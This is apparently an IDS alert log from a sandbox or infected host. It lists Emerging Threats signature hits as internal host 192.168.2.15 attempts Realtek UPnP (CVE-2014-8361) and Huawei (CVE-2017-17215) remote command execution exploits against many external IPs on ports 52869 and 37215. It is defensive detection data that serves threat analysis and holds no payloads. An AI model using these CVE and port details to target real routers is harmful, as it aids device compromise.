ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 190.9.142.126

Timestamp:	07/20/24-23:10:47.946887
SID:	2027339
Source Port:	38692
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 44.121.163.52

Timestamp:	07/20/24-23:10:39.486941
SID:	2829579
Source Port:	34876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 66.162.227.137

Timestamp:	07/20/24-23:10:43.855483
SID:	2027339
Source Port:	34410
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 59.72.27.90

Timestamp:	07/20/24-23:10:43.250374
SID:	2025132
Source Port:	38830
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 125.46.245.158

Timestamp:	07/20/24-23:10:42.620216
SID:	2027339
Source Port:	44816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.230.50.79

Timestamp:	07/20/24-23:10:40.658204
SID:	2835222
Source Port:	59932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.111.167.228

Timestamp:	07/20/24-23:10:42.262762
SID:	2829579
Source Port:	47842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 54.133.250.242

Timestamp:	07/20/24-23:10:52.047769
SID:	2831300
Source Port:	49114
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.85.119.244

Timestamp:	07/20/24-23:10:59.011093
SID:	2835222
Source Port:	50748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.3.163.253

Timestamp:	07/20/24-23:10:46.739331
SID:	2835222
Source Port:	57516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.180.20.80

Timestamp:	07/20/24-23:10:56.011930
SID:	2835222
Source Port:	33522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 102.119.6.178

Timestamp:	07/20/24-23:10:42.630026
SID:	2027339
Source Port:	42686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.92.156.169

Timestamp:	07/20/24-23:10:46.768902
SID:	2829579
Source Port:	37180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.143.92.83

Timestamp:	07/20/24-23:10:56.046357
SID:	2829579
Source Port:	58110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.88.30.221

Timestamp:	07/20/24-23:10:49.402846
SID:	2835222
Source Port:	46666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 61.146.90.23

Timestamp:	07/20/24-23:10:39.106885
SID:	2025132
Source Port:	60776
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 169.184.79.124

Timestamp:	07/20/24-23:10:52.004720
SID:	2831300
Source Port:	40028
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.205.82.135

Timestamp:	07/20/24-23:11:06.688603
SID:	2835222
Source Port:	43322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.123.246.44

Timestamp:	07/20/24-23:10:59.067929
SID:	2835222
Source Port:	55190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.222.177.45

Timestamp:	07/20/24-23:10:39.438615
SID:	2829579
Source Port:	55676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 140.79.132.232

Timestamp:	07/20/24-23:10:51.900658
SID:	2027339
Source Port:	35080
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 46.85.247.68

Timestamp:	07/20/24-23:10:42.262762
SID:	2835222
Source Port:	59504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.43.148.101

Timestamp:	07/20/24-23:11:06.706527
SID:	2829579
Source Port:	51986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.118.113.203

Timestamp:	07/20/24-23:10:41.223524
SID:	2835222
Source Port:	40214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.20.220.200

Timestamp:	07/20/24-23:10:39.433488
SID:	2835222
Source Port:	52554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 112.183.31.205

Timestamp:	07/20/24-23:10:38.988625
SID:	2025132
Source Port:	39574
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.110.230.85

Timestamp:	07/20/24-23:11:03.378465
SID:	2835222
Source Port:	55330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 169.30.6.222

Timestamp:	07/20/24-23:10:52.045718
SID:	2027339
Source Port:	45510
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 111.84.141.243

Timestamp:	07/20/24-23:10:45.885505
SID:	2025132
Source Port:	52442
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.95.29.120

Timestamp:	07/20/24-23:10:58.986541
SID:	2835222
Source Port:	33844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.205.219.178

Timestamp:	07/20/24-23:10:52.578509
SID:	2829579
Source Port:	59628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 109.51.3.47

Timestamp:	07/20/24-23:10:40.374807
SID:	2027339
Source Port:	48182
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.236.107.173

Timestamp:	07/20/24-23:11:03.361259
SID:	2835222
Source Port:	52592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.88.25.155

Timestamp:	07/20/24-23:11:06.646713
SID:	2829579
Source Port:	54358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 13.183.157.226

Timestamp:	07/20/24-23:10:49.377082
SID:	2835222
Source Port:	49602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 119.225.230.240

Timestamp:	07/20/24-23:10:52.062286
SID:	2831300
Source Port:	38418
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 42.146.219.162

Timestamp:	07/20/24-23:10:44.580130
SID:	2025132
Source Port:	35578
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 201.38.82.44

Timestamp:	07/20/24-23:10:52.029203
SID:	2027339
Source Port:	41490
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 176.232.183.149

Timestamp:	07/20/24-23:11:03.304768
SID:	2835222
Source Port:	54474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.162.58.122

Timestamp:	07/20/24-23:11:06.676715
SID:	2829579
Source Port:	48238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 27.73.191.157

Timestamp:	07/20/24-23:10:52.070107
SID:	2027339
Source Port:	33740
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 42.176.63.143

Timestamp:	07/20/24-23:10:52.517494
SID:	2835222
Source Port:	52872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.43.224.104

Timestamp:	07/20/24-23:10:59.029814
SID:	2835222
Source Port:	47810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 208.41.148.99

Timestamp:	07/20/24-23:10:51.909417
SID:	2831300
Source Port:	49058
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 4.232.226.241

Timestamp:	07/20/24-23:10:39.394192
SID:	2027339
Source Port:	33188
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 111.98.52.15

Timestamp:	07/20/24-23:10:46.958520
SID:	2027339
Source Port:	34936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.78.42.54

Timestamp:	07/20/24-23:11:06.706527
SID:	2829579
Source Port:	41156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 34.2.61.34

Timestamp:	07/20/24-23:10:46.932181
SID:	2025132
Source Port:	59210
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.93.149.174

Timestamp:	07/20/24-23:10:52.555606
SID:	2835222
Source Port:	32964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 173.225.79.113

Timestamp:	07/20/24-23:10:51.955556
SID:	2027339
Source Port:	60754
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 98.109.201.53

Timestamp:	07/20/24-23:10:49.409236
SID:	2829579
Source Port:	41694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.233.147.184

Timestamp:	07/20/24-23:10:39.434366
SID:	2829579
Source Port:	47276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.231.39.66

Timestamp:	07/20/24-23:10:52.538168
SID:	2829579
Source Port:	34188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 168.52.247.36

Timestamp:	07/20/24-23:10:47.436610
SID:	2027339
Source Port:	53568
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 93.91.138.170

Timestamp:	07/20/24-23:10:51.991411
SID:	2831300
Source Port:	45368
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.56.150.5

Timestamp:	07/20/24-23:10:46.817180
SID:	2829579
Source Port:	45592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 159.110.107.208

Timestamp:	07/20/24-23:10:56.030930
SID:	2829579
Source Port:	38862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.81.78.42

Timestamp:	07/20/24-23:10:41.233111
SID:	2829579
Source Port:	34170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 48.66.205.87

Timestamp:	07/20/24-23:10:53.215724
SID:	2027339
Source Port:	34926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.16.29.198

Timestamp:	07/20/24-23:10:39.487319
SID:	2835222
Source Port:	50780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.0.82.115

Timestamp:	07/20/24-23:10:52.558618
SID:	2835222
Source Port:	56932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.203.255.95

Timestamp:	07/20/24-23:10:46.836862
SID:	2835222
Source Port:	47994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.132.48.110

Timestamp:	07/20/24-23:11:06.657863
SID:	2829579
Source Port:	47856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.182.171.248

Timestamp:	07/20/24-23:10:46.829468
SID:	2829579
Source Port:	57520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.123.192.243

Timestamp:	07/20/24-23:10:41.227401
SID:	2835222
Source Port:	40522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 150.111.127.113

Timestamp:	07/20/24-23:10:59.094768
SID:	2829579
Source Port:	43908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 112.183.31.205

Timestamp:	07/20/24-23:10:42.619249
SID:	2831300
Source Port:	40272
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 54.158.102.139

Timestamp:	07/20/24-23:10:51.944866
SID:	2831300
Source Port:	47052
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 174.201.74.166

Timestamp:	07/20/24-23:11:06.689532
SID:	2829579
Source Port:	43378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.239.43.174

Timestamp:	07/20/24-23:10:42.262762
SID:	2829579
Source Port:	59222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 154.24.39.249

Timestamp:	07/20/24-23:10:44.218779
SID:	2027339
Source Port:	48182
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 222.79.179.243

Timestamp:	07/20/24-23:10:51.970945
SID:	2831300
Source Port:	34350
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.122.32.225

Timestamp:	07/20/24-23:10:56.002190
SID:	2829579
Source Port:	45448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 208.102.27.6

Timestamp:	07/20/24-23:10:42.622796
SID:	2831300
Source Port:	39654
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 151.94.173.235

Timestamp:	07/20/24-23:10:40.054753
SID:	2025132
Source Port:	49796
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 141.20.236.188

Timestamp:	07/20/24-23:10:47.755057
SID:	2027339
Source Port:	38948
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 221.255.54.167

Timestamp:	07/20/24-23:10:43.602039
SID:	2027339
Source Port:	40648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 167.21.65.55

Timestamp:	07/20/24-23:10:58.986540
SID:	2835222
Source Port:	43614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 143.77.32.144

Timestamp:	07/20/24-23:10:39.190217
SID:	2025132
Source Port:	40426
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 4.232.226.241

Timestamp:	07/20/24-23:10:42.633392
SID:	2831300
Source Port:	33872
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 86.37.66.37

Timestamp:	07/20/24-23:10:41.231186
SID:	2835222
Source Port:	39706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 137.28.220.250

Timestamp:	07/20/24-23:11:06.702559
SID:	2835222
Source Port:	39506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 221.241.44.77

Timestamp:	07/20/24-23:10:52.572631
SID:	2835222
Source Port:	58262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.130.45.123

Timestamp:	07/20/24-23:10:40.616009
SID:	2829579
Source Port:	41360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.217.23.6

Timestamp:	07/20/24-23:10:52.558618
SID:	2835222
Source Port:	45528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 113.59.43.68

Timestamp:	07/20/24-23:10:39.597366
SID:	2025132
Source Port:	52370
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 72.101.131.182

Timestamp:	07/20/24-23:10:42.269853
SID:	2835222
Source Port:	37528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 53.185.162.222

Timestamp:	07/20/24-23:10:46.750827
SID:	2835222
Source Port:	57454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 80.185.203.249

Timestamp:	07/20/24-23:10:49.355429
SID:	2835222
Source Port:	42296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 119.225.230.240

Timestamp:	07/20/24-23:10:47.984093
SID:	2027339
Source Port:	35902
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.105.239.202

Timestamp:	07/20/24-23:10:46.755097
SID:	2835222
Source Port:	53818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 51.195.43.231

Timestamp:	07/20/24-23:10:51.961780
SID:	2027339
Source Port:	51308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.122.105.2

Timestamp:	07/20/24-23:11:03.339788
SID:	2835222
Source Port:	43124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.239.134.129

Timestamp:	07/20/24-23:10:56.011227
SID:	2829579
Source Port:	60258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 134.173.80.60

Timestamp:	07/20/24-23:10:51.970946
SID:	2027339
Source Port:	46124
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.45.87.85

Timestamp:	07/20/24-23:10:52.551688
SID:	2835222
Source Port:	47368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.220.171.96

Timestamp:	07/20/24-23:10:49.421978
SID:	2835222
Source Port:	42412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.21.81.252

Timestamp:	07/20/24-23:11:06.675236
SID:	2835222
Source Port:	47480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 116.188.33.5

Timestamp:	07/20/24-23:10:52.006529
SID:	2027339
Source Port:	44144
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.4.170.12

Timestamp:	07/20/24-23:10:59.029071
SID:	2829579
Source Port:	54064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 111.61.149.252

Timestamp:	07/20/24-23:10:39.487319
SID:	2829579
Source Port:	45038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

